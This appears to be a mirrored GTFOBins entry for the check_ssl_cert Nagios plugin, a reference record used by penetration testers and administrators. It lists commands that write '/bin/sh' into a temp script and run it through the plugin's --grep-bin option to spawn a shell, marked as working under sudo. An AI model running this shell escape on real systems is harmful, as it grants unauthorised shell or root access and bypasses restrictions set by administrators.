1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/check_ssl_cert
2025-12-28 22:30:24 +01:00

16 lines
401 B
Plaintext

---
comment: |-
This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
functions:
shell:
- code: |-
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
check_ssl_cert --grep-bin /path/to/temp-file -H x
comment: |-
The shell will be invoked multiple times.
contexts:
sudo:
unprivileged:
...